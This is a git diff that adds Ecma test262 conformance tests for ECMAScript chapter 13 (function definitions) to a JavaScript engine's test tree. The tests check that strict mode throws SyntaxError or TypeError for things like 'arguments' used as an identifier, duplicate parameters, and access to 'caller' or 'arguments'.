diff --git a/js/src/tests/test262/ch13/13.1/13.1-41-s.js b/js/src/tests/test262/ch13/13.1/13.1-41-s.js
new file mode 100644
index 000000000..9a9a3ca2b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-41-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-41-s.js
+ * @description StrictMode - SyntaxError is thrown if 'arguments' occurs as the Identifier of a FunctionExpression in strict eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var _13_1_41_s = {};
+ try {
+ eval("'use strict'; _13_1_41_s.x = function arguments() {};");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-42-s.js b/js/src/tests/test262/ch13/13.1/13.1-42-s.js
new file mode 100644
index 000000000..f19d56c98
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-42-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-42-s.js
+ * @description StrictMode - SyntaxError is thrown if 'arguments' occurs as the Identifier of a FunctionExpression whose FunctionBody is contained in strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var _13_1_42_s = {};
+ try {
+ eval("_13_1_42_s.x = function arguments() {'use strict';};");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-4gs.js b/js/src/tests/test262/ch13/13.1/13.1-4gs.js
new file mode 100644
index 000000000..0c501018a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-4gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-4gs.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appears within a FormalParameterList of a strict mode FunctionExpression
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+var _13_1_4_fun = function (arguments) { }; \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.1/13.1-5-s.js b/js/src/tests/test262/ch13/13.1/13.1-5-s.js
new file mode 100644
index 000000000..6d13ca135
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-5-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-5-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is declared in 'strict mode' using a FunctionDeclaration and the function has two identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("function _13_1_5_fun(param, param) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-5gs.js b/js/src/tests/test262/ch13/13.1/13.1-5gs.js
new file mode 100644
index 000000000..709deb1e9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-5gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-5gs.js
+ * @description Strict Mode - SyntaxError is thrown if a FunctionDeclaration has two identical parameters
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+function _13_1_5_fun(param, param) { } \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.1/13.1-6-s.js b/js/src/tests/test262/ch13/13.1/13.1-6-s.js
new file mode 100644
index 000000000..10e6e7d9a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-6-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-6-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created in 'strict mode' using a FunctionDeclaration and the function has two identical parameters, which are separated by a unique parameter name
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("function _13_1_6_fun(param1, param2, param1) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-7-s.js b/js/src/tests/test262/ch13/13.1/13.1-7-s.js
new file mode 100644
index 000000000..087a20f7e
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-7-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-7-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created in 'strict mode' using a FunctionDeclaration and the function has three identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("function _13_1_7_fun(param, param, param) { }");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-8-s.js b/js/src/tests/test262/ch13/13.1/13.1-8-s.js
new file mode 100644
index 000000000..eb9a3976b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-8-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-8-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created in 'strict mode' using a FunctionExpression and the function has two identical parameters
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var _13_1_8_fun = function (param, param) { };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/13.1-8gs.js b/js/src/tests/test262/ch13/13.1/13.1-8gs.js
new file mode 100644
index 000000000..f647656d9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-8gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.1/13.1-8gs.js
+ * @description Strict Mode - SyntaxError is thrown if a FunctionExpression has two identical parameters
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+var _13_1_8_fun = function (param, param) { }; \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.1/13.1-9-s.js b/js/src/tests/test262/ch13/13.1/13.1-9-s.js
new file mode 100644
index 000000000..11aba0ce2
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/13.1-9-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13.1;
+ * It is a SyntaxError if any Identifier value occurs more than once within a FormalParameterList of a strict mode
+ * FunctionDeclaration or FunctionExpression.
+ *
+ * @path ch13/13.1/13.1-9-s.js
+ * @description Strict Mode - SyntaxError is thrown if a function is created in 'strict mode' using a FunctionExpression and the function has two identical parameters, which are separated by a unique parameter name
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var _13_1_9_fun = function (param1, param2, param1) { };");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.1/browser.js b/js/src/tests/test262/ch13/13.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/browser.js
diff --git a/js/src/tests/test262/ch13/13.1/shell.js b/js/src/tests/test262/ch13/13.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.1/shell.js
diff --git a/js/src/tests/test262/ch13/13.2/13.2-1-s.js b/js/src/tests/test262/ch13/13.2/13.2-1-s.js
new file mode 100644
index 000000000..9b3b7e1d7
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-1-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-1-s.js
+ * @description StrictMode - Writing or reading from a property named 'caller' of function objects is allowed under both strict and normal modes.
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var foo = function () {
+ this.caller = 12;
+ }
+ var obj = new foo();
+ return obj.caller === 12;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-10-s.js b/js/src/tests/test262/ch13/13.2/13.2-10-s.js
new file mode 100644
index 000000000..9ab52ea93
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-10-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-10-s.js
+ * @description StrictMode - writing a property named 'caller' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict';");
+ try {
+ foo.caller = 41;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-11-s.js b/js/src/tests/test262/ch13/13.2/13.2-11-s.js
new file mode 100644
index 000000000..f08680ceb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-11-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-11-s.js
+ * @description StrictMode - enumerating over a function object looking for 'caller' fails outside of the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict';");
+
+ for (var tempIndex in foo) {
+ if (tempIndex === "caller") {
+ return false;
+ }
+ }
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-12-s.js b/js/src/tests/test262/ch13/13.2/13.2-12-s.js
new file mode 100644
index 000000000..ecb9ae413
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-12-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-12-s.js
+ * @description StrictMode - enumerating over a function object looking for 'caller' fails inside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict'; for (var tempIndex in this) {if (tempIndex===\"caller\") {return false;}}; return true;");
+ return foo();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-13-s.js b/js/src/tests/test262/ch13/13.2/13.2-13-s.js
new file mode 100644
index 000000000..2a087ddad
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-13-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-13-s.js
+ * @description StrictMode - reading a property named 'arguments' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = new Function("'use strict';");
+ try {
+ var temp = foo.arguments;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-14-s.js b/js/src/tests/test262/ch13/13.2/13.2-14-s.js
new file mode 100644
index 000000000..53b9bf021
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-14-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-14-s.js
+ * @description StrictMode - writing a property named 'arguments' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = new Function("'use strict';");
+ try {
+ foo.arguments = 41;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-15-1.js b/js/src/tests/test262/ch13/13.2/13.2-15-1.js
new file mode 100644
index 000000000..7575c6037
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-15-1.js
@@ -0,0 +1,35 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-15-1.js
+ * @description Function Object has length as its own property and does not invoke the setter defined on Function.prototype.length (Step 15)
+ */
+
+
+function testcase() {
+ var fun = function (x, y) { };
+
+ var verifyValue = false;
+ verifyValue = (fun.hasOwnProperty("length") && fun.length === 2);
+
+ var verifyWritable = false;
+ fun.length = 1001;
+ verifyWritable = (fun.length === 1001);
+
+ var verifyEnumerable = false;
+ for (var p in fun) {
+ if (p === "length") {
+ verifyEnumerable = true;
+ }
+ }
+
+ var verifyConfigurable = false;
+ delete fun.length;
+ verifyConfigurable = fun.hasOwnProperty("length");
+
+ return verifyValue && !verifyWritable && !verifyEnumerable && verifyConfigurable;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-15-s.js b/js/src/tests/test262/ch13/13.2/13.2-15-s.js
new file mode 100644
index 000000000..b14dd3cad
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-15-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-15-s.js
+ * @description StrictMode - enumerating over a function object looking for 'arguments' fails outside of the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = new Function("'use strict';");
+
+ for (var tempIndex in foo) {
+ if (tempIndex === "arguments") {
+ return false;
+ }
+ }
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-16-s.js b/js/src/tests/test262/ch13/13.2/13.2-16-s.js
new file mode 100644
index 000000000..154887e9a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-16-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-16-s.js
+ * @description StrictMode - enumerating over a function object looking for 'arguments' fails inside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = new Function("'use strict'; for (var tempIndex in this) {if (tempIndex===\"arguments\") {return false;}}; return true;");
+ return foo();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-17-1.js b/js/src/tests/test262/ch13/13.2/13.2-17-1.js
new file mode 100644
index 000000000..654f2b5dd
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-17-1.js
@@ -0,0 +1,55 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-17-1.js
+ * @description Function Object has 'constructor' as its own property, it is not enumerable and does not invoke the setter defined on Function.prototype.constructor (Step 17)
+ */
+
+
+function testcase() {
+ var desc = Object.getOwnPropertyDescriptor(Object.prototype, "constructor");
+ try {
+ var getFunc = function () {
+ return 100;
+ };
+
+ var data = "data";
+ var setFunc = function (value) {
+ data = value;
+ };
+
+ Object.defineProperty(Object.prototype, "constructor", {
+ get: getFunc,
+ set: setFunc,
+ configurable: true
+ });
+
+ var fun = function () {};
+
+ var verifyValue = false;
+ verifyValue = typeof fun.prototype.constructor === "function";
+
+ var verifyEnumerable = false;
+ for (var p in fun.prototype) {
+ if (p === "constructor" && fun.prototype.hasOwnProperty("constructor")) {
+ verifyEnumerable = true;
+ }
+ }
+
+ var verifyWritable = false;
+ fun.prototype.constructor = 12;
+ verifyWritable = (fun.prototype.constructor === 12);
+
+ var verifyConfigurable = false;
+ delete fun.prototype.constructor;
+ verifyConfigurable = fun.hasOwnProperty("constructor");
+
+ return verifyValue && verifyWritable && !verifyEnumerable && !verifyConfigurable && data === "data";
+ } finally {
+ Object.defineProperty(Object.prototype, "constructor", desc);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-17-s.js b/js/src/tests/test262/ch13/13.2/13.2-17-s.js
new file mode 100644
index 000000000..6ff1776b6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-17-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-17-s.js
+ * @description StrictMode - reading a property named 'arguments' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict';");
+ try {
+ var temp = foo.arguments;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-18-1.js b/js/src/tests/test262/ch13/13.2/13.2-18-1.js
new file mode 100644
index 000000000..d3614872c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-18-1.js
@@ -0,0 +1,53 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-18-1.js
+ * @description Function Object has 'prototype' as its own property, it is not enumerable and does not invoke the setter defined on Function.prototype (Step 18)
+ */
+
+
+function testcase() {
+ try {
+ var getFunc = function () {
+ return 100;
+ };
+
+ var data = "data";
+ var setFunc = function (value) {
+ data = value;
+ };
+ Object.defineProperty(Function.prototype, "prototype", {
+ get: getFunc,
+ set: setFunc,
+ configurable: true
+ });
+
+ var fun = function () { };
+
+ var verifyValue = false;
+ verifyValue = (fun.prototype !== 100 && fun.prototype.toString() === "[object Object]");
+
+ var verifyEnumerable = false;
+ for (var p in fun) {
+ if (p === "prototype" && fun.hasOwnProperty("prototype")) {
+ verifyEnumerable = true;
+ }
+ }
+
+ var verifyConfigurable = false;
+ delete fun.prototype;
+ verifyConfigurable = fun.hasOwnProperty("prototype");
+
+ var verifyWritable = false;
+ fun.prototype = 12
+ verifyWritable = (fun.prototype === 12);
+
+ return verifyValue && verifyWritable && !verifyEnumerable && verifyConfigurable && data === "data";
+ } finally {
+ delete Function.prototype.prototype;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-18-s.js b/js/src/tests/test262/ch13/13.2/13.2-18-s.js
new file mode 100644
index 000000000..c0ac07cc9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-18-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-18-s.js
+ * @description StrictMode - writing a property named 'arguments' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict';");
+ try {
+ foo.arguments = 41;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-19-b-3gs.js b/js/src/tests/test262/ch13/13.2/13.2-19-b-3gs.js
new file mode 100644
index 000000000..cd356070d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-19-b-3gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-19-b-3gs.js
+ * @description StrictMode - error is thrown when assign a value to the 'caller' property of a function object
+ * @onlyStrict
+ * @negative NotEarlyError
+ */
+"use strict";
+throw NotEarlyError;
+function _13_2_19_b_3_gs() {}
+_13_2_19_b_3_gs.caller = 1;
diff --git a/js/src/tests/test262/ch13/13.2/13.2-19-s.js b/js/src/tests/test262/ch13/13.2/13.2-19-s.js
new file mode 100644
index 000000000..5e8b67e6a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-19-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-19-s.js
+ * @description StrictMode - enumerating over a function object looking for 'arguments' fails outside of the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict';");
+
+ for (var tempIndex in foo) {
+ if (tempIndex === "arguments") {
+ return false;
+ }
+ }
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-2-s.js b/js/src/tests/test262/ch13/13.2/13.2-2-s.js
new file mode 100644
index 000000000..f2bdf6898
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-2-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-2-s.js
+ * @description StrictMode - A TypeError is thrown when a strict mode code writes to properties named 'caller' of function instances.
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ var foo = function () {
+ }
+ foo.caller = 20;
+ return false;
+ } catch (ex) {
+ return ex instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-20-s.js b/js/src/tests/test262/ch13/13.2/13.2-20-s.js
new file mode 100644
index 000000000..5eee4a321
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-20-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-20-s.js
+ * @description StrictMode - enumerating over a function object looking for 'arguments' fails inside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict'; for (var tempIndex in this) {if (tempIndex===\"arguments\") {return false;}}; return true;");
+ return foo();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-21-s.js b/js/src/tests/test262/ch13/13.2/13.2-21-s.js
new file mode 100644
index 000000000..42ad83815
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-21-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-21-s.js
+ * @description StrictMode - reading a property named 'caller' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo () {"use strict";}
+ try {
+ var temp = foo.caller;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-22-s.js b/js/src/tests/test262/ch13/13.2/13.2-22-s.js
new file mode 100644
index 000000000..ab901903c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-22-s.js
@@ -0,0 +1,24 @@
